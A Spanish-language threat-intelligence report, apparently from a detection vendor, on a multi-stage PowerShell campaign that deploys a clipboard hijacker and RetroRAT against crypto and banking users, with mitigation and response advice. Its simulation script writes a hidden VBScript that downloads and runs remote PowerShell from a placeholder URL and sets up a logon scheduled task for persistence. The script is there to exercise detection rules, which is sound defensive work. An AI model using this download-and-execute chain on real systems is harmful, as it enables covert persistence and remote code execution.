Operación DualScript: Malware PowerShell Multietapa que Ataca a Cripto y Finanzas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe describe la Operación DualScript, una campaña de malware en múltiples fases que se basa en la persistencia de tareas programadas, lanzadores VBScript y cargadores de PowerShell para desplegar tanto un secuestrador de portapapeles como el troyano de acceso remoto RetroRAT. Los atacantes almacenan PowerShell malicioso en servidores externos y lo ejecutan completamente en memoria para reducir las oportunidades de detección. RetroRAT registra pulsaciones de teclas, monitorea ventanas activas en busca de palabras clave relacionadas con finanzas, y envía datos robados a través de un canal TCP C2 personalizado. La campaña está dirigida a actividades de criptomonedas y objetivos bancarios en EE.UU.
Investigación
Los analistas descubrieron tareas programadas configuradas para lanzar archivos VBScript desde rutas escribibles por el usuario, que luego ejecutaron PowerShell oculto con la política de ejecución deshabilitada. Se identificaron dos cadenas de entrega paralelas: una recuperó un script Wallet.txt para secuestrar contenidos del portapapeles de criptomonedas, mientras que la otra cargó RetroRAT directamente en la memoria. El análisis estático también expuso lógica anti-análisis, creación de mutex, registro de teclas en varios hilos, y una cadena de reconocimiento C2 codificada.
Mitigación
Los defensores deben monitorear tareas programadas sospechosas que invoquen VBScript o PowerShell con ventanas ocultas y argumentos de omisión. La detección en el punto final debe centrarse en la ejecución de PowerShell en memoria, comportamiento inusual de monitoreo del portapapeles y creación de mutex desconocidos. Las organizaciones también deberían bloquear el tráfico saliente hacia los dominios maliciosos y aplicar controles estrictos de ejecución para PowerShell y VBScript.
Respuesta
Si se detecta esta actividad, aísle el host afectado, desactive las tareas programadas maliciosas y elimine cualquier artefacto persistente de VBScript o PowerShell. Realice un barrido forense completo para el payload de RetroRAT, datos de pulsaciones de teclas capturados y tráfico C2 relacionado. Restablezca la información de la billetera de criptomonedas expuesta y cambie las credenciales bancarias. Restaure los sistemas afectados desde copias de seguridad limpias y bloquee los dominios e IPs identificados en la capa de red.
"graph TB %% Class definitions classDef technique fill:#d1e8ff classDef file fill:#ffe6cc classDef malware fill:#ffcccc classDef process fill:#e2ffd6 %% Nodes u2013 Techniques tech_persistence["<b>Técnica</b> – <b>T1053 Tarea Programada/Trabajo</b><br/><b>Descripción</b>: Crea una tarea programada de Windows que ejecuta un lanzador VBScript en modo oculto para la persistencia."] class tech_persistence technique tech_execution["<b>Técnica</b> – <b>T1059.001 PowerShell</b><br/><b>Descripción</b>: Ejecuta código PowerShell mediante la omisión de política de ejecución y lo corre directamente en memoria."] class tech_execution technique tech_defense["<b>Técnica</b> – <b>T1497.002 Evasión de Sandbox Virtualización</b><br/><b>Descripción</b>: Verifica nombres de usuario de sandbox y artefactos de VM; aborta si se detecta tal entorno."] class tech_defense technique tech_download["<b>Técnica</b> – <b>T1102 Servicio Web</b><br/><b>Descripción</b>: Recupera un payload remoto (Wallet.txt) por HTTPS y lo convierte en un ScriptBlock para ejecución en memoria."] class tech_download technique tech_clipboard["<b>Técnica</b> – <b>T1115 Datos del Portapapeles</b> y <b>T1204.004 Copiar y Pegar Malicioso</b><br/><b>Descripción</b>: Monitorea el portapapeles del sistema y reemplaza direcciones de criptomonedas legítimas con billeteras controladas por el atacante."] class tech_clipboard technique tech_keylog["<b>Técnica</b> – <b>T1056.001 Registro de Teclas</b><br/><b>Descripción</b>: Instala un gancho de teclado de bajo nivel para capturar pulsaciones de teclas durante sesiones financieras."] class tech_keylog technique tech_screen["<b>Técnica</b> – <b>T1113 Captura de Pantalla</b><br/><b>Descripción</b>: Graba capturas de pantalla o transmite el escritorio para monitoreo visual de la actividad de la víctima."] class tech_screen technique tech_c2["<b>Técnica</b> – <b>T1041 Exfiltración sobre Canal C2</b><br/><b>Descripción</b>: Envía pulsaciones de teclas, datos del portapapeles y registros a un servidor C2 codificado utilizando un cliente TCP."] class tech_c2 technique tech_process["<b>Técnica</b> – <b>T1543 Crear o Modificar Proceso del Sistema</b><br/><b>Descripción</b>: La tarea programada genera un nuevo proceso para el payload de PowerShell y luego crea hilos adicionales para funciones paralelas."] class tech_process technique tech_rdp["<b>Técnica</b> – <b>T1219.002 Software de Escritorio Remoto</b><br/><b>Descripción</b>: Permite al atacante ver o controlar el escritorio de la víctima a través del componente RetroRAT."] class tech_rdp technique tech_inputinj["<b>Técnica</b> – <b>T1674 Inyección de Entrada</b><br/><b>Descripción</b>: Inyecta cadenas de billetera controladas por el atacante en el portapapeles antes de que la víctima pegue el contenido."] class tech_inputinj technique %% Nodes u2013 Artifacts file_vbscript["<b>Archivo</b> – <b>Nombre</b>: ppamproServiceZuneWAL.vbs / PiceVid.vbs<br/><b>Proposito</b>: Lanza el payload de PowerShell en modo oculto."] class file_vbscript file malware_retro["<b>Malware</b> – <b>Nombre</b>: RetroRAT<br/><b>Función</b>: Proporciona capacidades de escritorio remoto y ejecución de comandos."] class malware_retro malware %% Connections u2013 Flow tech_persistence –>|creates| file_vbscript file_vbscript –>|launches| tech_execution tech_execution –>|uses| tech_download tech_download –>|delivers payload to| tech_process tech_process –>|spawns| tech_keylog tech_process –>|spawns| tech_screen tech_process –>|spawns| tech_clipboard tech_clipboard –>|enables| tech_inputinj tech_keylog –>|exfiltrates via| tech_c2 tech_screen –>|exfiltrates via| tech_c2 tech_clipboard –>|exfiltrates via| tech_c2 tech_process –>|starts| tech_rdp tech_rdp –>|communicates with| tech_c2 tech_rdp –>|runs| malware_retro tech_defense –>|checks before| file_vbscript "
Flujo de Ataque
Detecciones
IOCs (HashMd5) para detectar: Operation DualScript – Una Campaña de Malware PowerShell Multi-Etapa que Apunta a la Actividad de Criptomonedas y Financiera
Ver
Conexiones Salientes a Servidor Remoto para Recuperación de Comandos [Conexión de Red de Windows]
Ver
Operación DualScript – Persistencia de Tarea Programada con VBScript y PowerShell [Tarea Programada de Windows]
Ver
Descarga de Contenido Remoto y Secuestro de Portapapeles de PowerShell de Operación DualScript [Windows Powershell]
Ver
Ejecución de Simulación
Prerrequisito: El Chequeo Previo de Telemetría & Baseline debe haber pasado.
Racionalización: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección.
-
Narrativa del Ataque & Comandos:
El atacante primeramente prepara un VBScript (dual.vbs) en el directorio de perfil del usuario. El objetivo del script es lanzar PowerShell con las banderas-WindowStyle Hiddenand-ExecutionPolicy Bypass, luego descargar y ejecutar una carga útil remota (simulada con un simpleWrite-Host). Para lograr persistencia, el atacante registra una tarea programada (DualScriptPersist) que ejecuta el VBScript al inicio de sesión. Cada paso produce las dos entradas de EventID 4104 correlacionadas que busca la regla. -
Script de Prueba de Regresión:
# ------------------------------------------------- # Simulación de Ataque DualScript – PowerShell # ------------------------------------------------- # 1️⃣ Crear VBScript malicioso en una ruta escribible por el usuario $vbsPath = "$env:USERPROFILEdual.vbs" $payloadUrl = "http://example.com/payload.ps1" # URL de marcador de posición $vbsContent = @" WScript.Sleep 500 Dim sh Set sh = CreateObject("WScript.Shell") sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`"" "@ $vbsContent | Set-Content -Path $vbsPath -Encoding ASCII # 2️⃣ Registrar una tarea programada que ejecute el VBScript al inicio de sesión de cada usuario $taskName = "DualScriptPersist" $taskAction = "`"$vbsPath`"" schtasks.exe /Create ` /SC ONLOGON ` /RL HIGHEST ` /TN $taskName ` /TR $taskAction ` /F # 3️⃣ Forzar la tarea a ejecutarse inmediatamente (activar detección) schtasks.exe /Run /TN $taskName Write-Host "`n[+] Simulación de DualScript ejecutada. Verifique su SIEM para alertas." # ------------------------------------------------- -
Comandos de Limpieza:
# ------------------------------------------------- # Limpieza de Simulación DualScript # ------------------------------------------------- $taskName = "DualScriptPersist" $vbsPath = "$env:USERPROFILEdual.vbs" # Eliminar tarea programada schtasks.exe /Delete /TN $taskName /F # Eliminar el archivo VBScript Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue Write-Host "`n[+] Limpieza completada." # -------------------------------------------------